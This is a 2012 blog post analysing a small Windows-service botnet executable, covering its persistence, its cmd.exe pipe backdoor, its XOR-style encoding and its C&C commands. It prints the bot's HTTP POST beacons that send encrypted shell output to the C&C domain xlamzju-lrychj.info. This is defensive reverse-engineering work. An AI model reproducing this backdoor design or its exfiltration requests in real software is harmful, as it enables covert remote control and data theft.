Monday, September 10, 2012

Disclosure of an interesting Botnet - The Executable (Part 1)

While searching for another interesting malware sample I came across a brief description from Chae Jong Bin of an yet unknown botnet. So thanks to him!
I took a quick look into the executable and decided to do further analysis, because the Bot is implemented as a Windows Service and I haven't analyzed such an executable before.

The first part of this analysis is about the "Static and Dynamnic Analysis" of the executable. Tools used are HxD Hexeditor, MiTeC EXE Explorer, OllyDbg, IDA Pro, Process Explorer and Wireshark. The second part deals with the C&C server(s) and its contents.
What's remarkable is the Bots very small size of just 12 KByte. A few months ago the CSIS Security Group A/S discovered the "World’s smallest trojan-banker" and it had size of 20 KByte, so... :-)

Sample: telnet.exe
Size: 12.288 Bytes
MD5: 44AD16455EFC3051FD00FE73E3BB7E40


The Loader

The File is a plain executable without an icon, a resource section (.rsrc) or any version information. It's also not obfuscated or packed in any way.
A quick look with a Hex Editor shows the Rich Header, so the executable was created with a Microsoft compiler. There are also some interesting strings, but more on that later.

If we open the executable in a PE Editor we can see a valid looking PE Timestamp of "27.01.2012 07.15.14", so the executable was compiled in the beginning of 2012. If we look at the import table we see the Windows Service APIs like OpenSCManager(), CreateService(), OpenService(), StartService(), ...

Figure 1: Import Table in Hex Editor

Now let's start IDA Pro and load the executable. The first look is always the Strings Window, so let's do that. The interesting strings are as follows:

"cmd.exe
POST %s HTTP/1.0\r\nUser-Agent: Opera/9.61\r\nHost: %s\r\nReferer: http://%s\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\n
GET %s HTTP/1.0\r\nUser-Agent: Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.10\r\nHost: www.%s\r\nConnection: Close\r\n\r\n
google.com
google
123456789abcdef
services.exe
xlamzju-lrychj.info
/telnet_cmd.php
a=%s&b=%s&c=%s
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
?456789:;<=
\a\b\t\n\v
!\"#$%&'()*+,-./0123
\n[%s]:
%s\n
\n[%s]: Error status %u\n
http://%[^/]%s
%[^/]%s
EXEC
success
-install
-delete
-start
-stop
System Storage Service"

We see executable names (cmd.exe, services.exe), domain names (google.com, xlamzju-lrychj.info), HTTP transfer method strings (POST..., GET...), the Service name ("System Storage Service") and several other interesting strings.

Now to the interesting part, so let's switch to the code Window and walk through the functionality of the Bot.
At first the program gets command line arguments, if present, with help of GetCommandLine() API function. It checks for the following arguments:

-install
-delete
-start
-stop

If the "-install" switch was used than the Windows Service "System Storage Service" is created with the current path of the executable as the Service program (OpenSCManager() + CreateService()). Thereafter the Service gets started and the program exits.
If the "-delete" switch was used the Service "System Storage Service" gets deleted (OpenSCManager() + OpenService() + DeleteService()) and the program exits.
If the "-start" switch was used the Service "System Storage Service" gets started (OpenSCManager() + OpenService() + StartService()) and the program exits.
If the "-stop" switch was used the Service "System Storage Service" gets stopped (OpenSCManager() + OpenService() + ControlService()) and the program exits.

Figure 2: Check for Command Line Arguments

If none of the above arguments are used, the file is copied into the folder "C:\Documents and Settings\<username>\Local Settings\" with the new name "services.exe" (CopyFile()). Then the file attributes are set to "hidden" and "system" (SetFileAttributes()). Subsequently the Service "System Storage Service" is created with the new path C:\Documents and Settings\<username>\Local Settings\services.exe and started. Afterwards the program also exits.

So how does this executable work if all its functionality is to create a Service and then exit?
What immediately follows after the Service setup is a code block which calls StartServiceCtrlDispatcher(). If we take a look into the MSDN description, we can read the following:

"When the service control manager starts a service process, it waits for the process to call the StartServiceCtrlDispatcher function.
...
The service control manager uses this connection to send control and service start requests to the main thread of the service process.
...
If a service runs in its own process, the main thread of the service process should immediately call StartServiceCtrlDispatcher(). All initialization tasks are done in the service's ServiceMain function when the service is started."

Figure 3: StartServiceCtrlDispatcher() function call

We have a Service which runs in its own process, so StartServiceCtrlDispatcher() gets immediately called after the Service creation routines. Again, if we look at MSDN:

BOOL WINAPI StartServiceCtrlDispatcher(
  _In_  const SERVICE_TABLE_ENTRY *lpServiceTable
);

The function has a single pointer to the structure SERVICE_TABLE_ENTRY as parameter. Now we take a look at this structure:

typedef struct _SERVICE_TABLE_ENTRY {
  LPTSTR                  lpServiceName;
  LPSERVICE_MAIN_FUNCTION lpServiceProc;
} SERVICE_TABLE_ENTRY, *LPSERVICE_TABLE_ENTRY;

The structure has two pointers, one points to the name of the Service process and the other points to the "ServiceMain" function. Now we follow the link to ServiceMain description:

"The entry point for a service.
...
When the service control manager receives a request to start a service, it starts the service process (if it is not already running). The main thread of the service process calls the StartServiceCtrlDispatcher function with a pointer to an array of SERVICE_TABLE_ENTRY structures. Then the service control manager sends a start request to the service control dispatcher for this service process. The service control dispatcher creates a new thread to execute the ServiceMain function of the service being started.
...
The ServiceMain function should immediately call the RegisterServiceCtrlHandlerEx function to specify a HandlerEx function to handle control requests. Next, it should call the SetServiceStatus function to send status information to the service control manager. After these calls, the function should complete the initialization of the service. Do not attempt to start another service in the ServiceMain function."

So the ServiceMain function is the entry point for a Service, just like WinMain() for a Windows-based application or DllMain() for a dynamic-link library (DLL). No we follow ServiceMain in IDA Pro and end up in a bunch of random bytes. What's going on here?
We see two function calls to RegisterServiceCtrlHandler() and SetServiceStatus() just like described by MSDN above. After a while of thinking I realized that IDA Pro hasn't recognized the ServiceMain function as executable code, so here we have to convert the bytes into code manually!
After doing this we can continue our analysis.

Figure 4: ServiceMain function

At first RegisterServiceCtrlHandler() function is called. It has 2 parameters, a pointer to the handler function to be registered and the name of the Service run by the calling thread. If we follow the handler function we see only Control Code SERVICE_CONTROL_STOP (0x00000001) gets handled. All other Control Codes aren't handled, e.g. SERVICE_CONTROL_PAUSE (0x00000002) or
SERVICE_CONTROL_SHUTDOWN (0x00000005). Afterwards the Service gets set into its appropriate state by calling the function SetServiceStatus() and filling the elements in the SERVICE_STATUS structure of the Service.

Now we go back to ServiceMain and follow the execution flow. After another 2 SetServiceStatus() function calls, there follows a single call ("call 004017B0") to the main functionality of the Service and thus of the Bot. Now it is getting interesting!


The Bot's Main Thread

At the beginning the malware makes 3 initializing function calls. The first function resolves various internet APIs, like WSAStartup(), connect(), recv(), ... dynamically (LoadLibrary() + GetProcAddress()) and saves the addresses for later use. The second function retrieves the system volume serial number with help of GetVolumeInformation() and stores it for later use. The last initialization function creates 2 Pipes (Createpipe()) and a process of the Windows command line tool "cmd.exe". The reading handle of the first Pipe and the writing handle of the second Pipe gets inherited to the cmd.exe process by using them as the "hStdInput" and "hStdOutput/hStdError" elements of the STARTUPINFO structure from CreateProcess() function. The technique is described in detail here: http://support.microsoft.com/kb/190351 and http://msdn.microsoft.com/en-us/library/windows/desktop/ms682499%28v=vs.85%29.aspx


Figure 5: Initialization routines at the beginning of the malware's functionality

The Bot's Thread 2

After the initialization, a new Thread is created. The Thread's only function is to monitor the output of the cmd.exe child process, encrpyt it and send it to the C&C server. The encryption works as follows:
1) Create an extended ASCII Table (0x00 - 0xFF) and encode each byte subsequently bytewise with volume serial number (8 bytes)
2) Further encode the first bytes of the encoded ASCII Table bytewise as long as the size of the string to encrypt
3) Finally encrypt the string (simple "xor") with the values of the encoded ASCII Table + add (some) additional byte(s)
4) Create URL encoded characters: Check if the encrypted string contains non alphanumeric characters and change if so, e.g. the character "/" (0x2F) gets transformed into string "%2f" and character "+" (0x2B) into "%2b"


Figure 6: Encryption of the data to send

In this Thread the string "c=2" (Task 2) and the output of cmd.exe are encrypted and combined with the hardcoded string "a=%s&b=%s&c=%s" (sprintf()):

Example: a=B28d204a&b=wXQN&c=IhGcPK3NYapHDHtCyzkIz2PDe%2fBAaWSayH%2ok8Tz3FsPDzkFGzuo9hDjs7QLocf5EJ4Bb5SYnl%2bOLu%2bfC%2bXC9s6HmAlMxolVDG9BgsU3%2bMtF4xkHbxDt%2fi3gz

a = Volume Serial Number (not encrypted)
b = Encrypted Task number (c=1, c=2, c=3, c=4)
c = Encrypted CMD Output

The created string is then combined with another hardcoded string to form the following HTTP transfer method string:

"POST /telnet_cmd.php HTTP/1.0
User-Agent: Opera/9.61
Host: xlamzju-lrychj.info
Referer: xlamzju-lrychj.info
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 187
a=B28d204a&b=wXQN&c=IhGcPK3NYapHDHtCyzkIz2PDe%2fBAaWSayH%2ok8Tz3FsPDzkFGzuo9hDjs7QLocf5EJ4Bb5SYnl%2bOLu%2bfC%2bXC9s6HmAlMxolVDG9BgsU3%2bMtF4xkHbxDt%2fi3gz"

This final string then gets transfered to the C&C server (send()). The server sends a request which gets received by using the recv() function. Every time I tried the HTTP resonse from server is "HTTP/1.1 200 OK", but unfortunately with the following text data:

"Query failed: Access denied for user 'www-data'@'localhost' (using password: NO)"


Figure 7: C&C server response

I don't know what this really means, but it must have something to do with database access. The best explanation I found:

"www-data is the Debian user that runs apache and php. If you attempt a query when you don't have a valid connection, php/mysql will attempt to create a connection using <unix-user>@localhost with no password. This is where www-data@localhost (using password:NO) is coming from.

The most likely reason that this has started happening now (though it has been running fine for 2-years prior) is that your db load has increased to the point where some connections are unable to succeed (probably due to max_connections, or max_user_connections; though this can also result from other limits like memory, threads, etc). When this happens, your call to mysql_connect will emit an error message, and return FALSE. If you fail to detect this failure, then your next mysql call (probably mysql_query, or mysql_select_db) will attempt the connection to www-data@localhost -- thus causing the problem you're seeing." - http://stackoverflow.com/questions/7671346/access-denied-for-user-www-datalocalhost-how-to-deal-with-that

So I wasn't able to get an insight into what the C&C server does with the encrypted data and what is send back to the Bot. That's all of the functionality of Thread 2. Let's continue with main Thread.


The Bot's Main Thread (follow up)

After the second thread was created the execution flow continues by sending the a HTTP GET request to google.com:

"GET / HTTP/1.0
User-Agent: Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.10
Host: www.google.com
Connection: Close"

The response from Google server is then analyzed and looks as follows:

"HTTP/1.0 302 Found
Location: http://www.google.de/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=6b71445b2dcdf21a:FF=0:TM=1326435415:LM=1326435415:S=PF-ekMf7WncK82rp; expires=Sun, 31-Aug-2014 17:50:15 GMT..."

By analyzing the HTTP status codes (200 OK, 302 Found) from Google response the malware knows if a internet connection is available. If no internet connection if available the Service sleeps for 30 seconds and tries again to contact Google and analyze the response.


Figure 8: Check for internet connection and sleep if not

If a internet connection is available, a signal message is send to the C&C server. This time it just sends the encrypted string "c=1" (Task 1) together with the volume serial number, in the form as described in Thread 2:

POST /telnet_cmd.php HTTP/1.0
User-Agent: Opera/9.61
Host: xlamzju-lrychj.info
Referer: xlamzju-lrychj.info
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
a=B28d204a&b=wXQO&c="

By following the code, the response from server has to be one of the following Bot commands (along with the parameter):

CMD <...>
A command gets directly written to the Pipe which then gets read by the child process cmd.exe and thus executed.
GET <...>
Get a file from a URL and write to disk. Thereafter a status message is send to the server with string "c=3" (Task 3)
PUT <...>
A file from disk is send to the C&C server together with string "c=4" (Task 4). Thereafter a status message is send to the server with string "c=3" (Task 3)
EXE <...>
A process of the specified file is created and thus the file gets executed. Thereafter a status message is send to the server with string "c=3" (Task 3)
RST
Thread 2 is reset (TerminateThread() + TerminateProcess() + CreateThread()). Thereafter a status message is send to the server with string "c=3" (Task 3)


Figure 9: Bot control commands

If one of the above commands was received, the malware sleeps for 2 seconds and starts again to probe for a internet connection by requesting Google (see above).

The End of Part 1


To sum up a bit:
- The malware has a very small size of just 12 KByte
- It is implemented as a Windows Service, thus gets automatically started every time Windows starts
- Data send to C&C server is encrypted
- C&C server is http://xlamzju-lrychj.info
Share:

3 comments: